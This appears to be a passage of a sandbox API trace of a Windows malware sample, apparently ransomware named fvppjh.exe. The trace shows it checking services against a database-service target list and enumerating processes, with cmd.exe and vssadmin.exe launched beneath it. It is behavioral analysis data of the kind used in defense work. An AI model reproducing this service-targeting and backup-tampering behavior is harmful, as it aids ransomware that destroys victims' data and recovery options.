	[0171.419] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0171.419] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0171.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0171.419] lstrlenW (lpString="NgcSvc") returned 6
	[0171.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0171.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0171.420] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0171.424] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0171.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0171.424] lstrlenW (lpString="NlaSvc") returned 6
	[0171.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0171.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0171.452] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0171.452] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0171.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0171.452] lstrlenW (lpString="nsi") returned 3
	[0171.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0171.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0171.460] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0171.460] lstrlenW (lpString="PcaSvc") returned 6
	[0171.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0171.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0171.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0171.460] lstrlenW (lpString="PlugPlay") returned 8
	[0171.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0171.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0171.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0171.460] lstrlenW (lpString="Power") returned 5
	[0171.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0171.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0171.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0171.460] lstrlenW (lpString="ProfSvc") returned 7
	[0171.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0171.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0171.460] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0171.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0171.461] lstrlenW (lpString="RpcEptMapper") returned 12
	[0171.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0171.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0171.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0171.461] lstrlenW (lpString="RpcSs") returned 5
	[0171.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0171.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0171.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0171.461] lstrlenW (lpString="SamSs") returned 5
	[0171.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0171.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0171.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0171.461] lstrlenW (lpString="Schedule") returned 8
	[0171.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0171.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0171.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0171.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0171.462] lstrlenW (lpString="SecurityHealthService") returned 21
	[0171.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0171.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0171.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0171.462] lstrlenW (lpString="SENS") returned 4
	[0171.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0171.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0171.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0171.462] lstrlenW (lpString="ShellHWDetection") returned 16
	[0171.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0171.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0171.462] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0171.462] lstrlenW (lpString="Spooler") returned 7
	[0171.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0171.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0171.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0171.462] lstrlenW (lpString="StateRepository") returned 15
	[0171.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0171.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0171.462] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0171.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0171.462] lstrlenW (lpString="SysMain") returned 7
	[0171.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0171.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0171.463] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0171.463] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0171.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0171.463] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0171.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0171.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0171.463] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0171.463] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0171.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0171.463] lstrlenW (lpString="Themes") returned 6
	[0171.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0171.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0171.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0171.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0171.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0171.463] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0171.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0171.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0171.463] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0171.463] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0171.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0171.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x45c
	[0171.468] Process32FirstW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0171.468] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0171.469] lstrlenW (lpString="System") returned 6
	[0171.469] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0171.469] lstrlenW (lpString="smss.exe") returned 8
	[0171.469] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0171.470] lstrlenW (lpString="csrss.exe") returned 9
	[0171.470] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0171.470] lstrlenW (lpString="wininit.exe") returned 11
	[0171.470] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0171.471] lstrlenW (lpString="csrss.exe") returned 9
	[0171.471] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0171.471] lstrlenW (lpString="winlogon.exe") returned 12
	[0171.471] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0171.471] lstrlenW (lpString="services.exe") returned 12
	[0171.472] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0171.472] lstrlenW (lpString="lsass.exe") returned 9
	[0171.472] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0171.472] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0171.472] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0171.473] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0171.473] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.473] lstrlenW (lpString="svchost.exe") returned 11
	[0171.473] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.474] lstrlenW (lpString="svchost.exe") returned 11
	[0171.474] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0171.475] lstrlenW (lpString="dwm.exe") returned 7
	[0171.475] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.475] lstrlenW (lpString="svchost.exe") returned 11
	[0171.475] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.475] lstrlenW (lpString="svchost.exe") returned 11
	[0171.476] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.476] lstrlenW (lpString="svchost.exe") returned 11
	[0171.476] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.477] lstrlenW (lpString="svchost.exe") returned 11
	[0171.477] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.477] lstrlenW (lpString="svchost.exe") returned 11
	[0171.477] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.478] lstrlenW (lpString="svchost.exe") returned 11
	[0171.478] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.478] lstrlenW (lpString="svchost.exe") returned 11
	[0171.478] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.479] lstrlenW (lpString="svchost.exe") returned 11
	[0171.479] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.479] lstrlenW (lpString="svchost.exe") returned 11
	[0171.479] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.479] lstrlenW (lpString="svchost.exe") returned 11
	[0171.480] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0171.480] lstrlenW (lpString="spoolsv.exe") returned 11
	[0171.480] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.480] lstrlenW (lpString="svchost.exe") returned 11
	[0171.480] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0171.481] lstrlenW (lpString="audiodg.exe") returned 11
	[0171.481] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0171.481] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0171.481] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0171.482] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0171.482] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0171.482] lstrlenW (lpString="Memory Compression") returned 18
	[0171.482] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0171.483] lstrlenW (lpString="sihost.exe") returned 10
	[0171.483] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0171.483] lstrlenW (lpString="svchost.exe") returned 11
	[0171.483] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0171.484] lstrlenW (lpString="taskhostw.exe") returned 13
	[0171.484] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0171.484] lstrlenW (lpString="taskhostw.exe") returned 13
	[0171.484] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0171.485] lstrlenW (lpString="explorer.exe") returned 12
	[0171.485] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0171.485] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0171.485] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0171.486] lstrlenW (lpString="SearchUI.exe") returned 12
	[0171.486] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0171.486] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0171.486] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0171.487] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0171.487] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0171.487] lstrlenW (lpString="fvppjh.exe") returned 10
	[0171.487] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0171.488] lstrlenW (lpString="cmd.exe") returned 7
	[0171.488] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0171.488] lstrlenW (lpString="conhost.exe") returned 11
	[0171.488] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0171.489] lstrlenW (lpString="consent.exe") returned 11
	[0171.489] Process32NextW (in: hSnapshot=0x45c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0171.489] lstrlenW (lpString="vssadmin.exe") returned 12
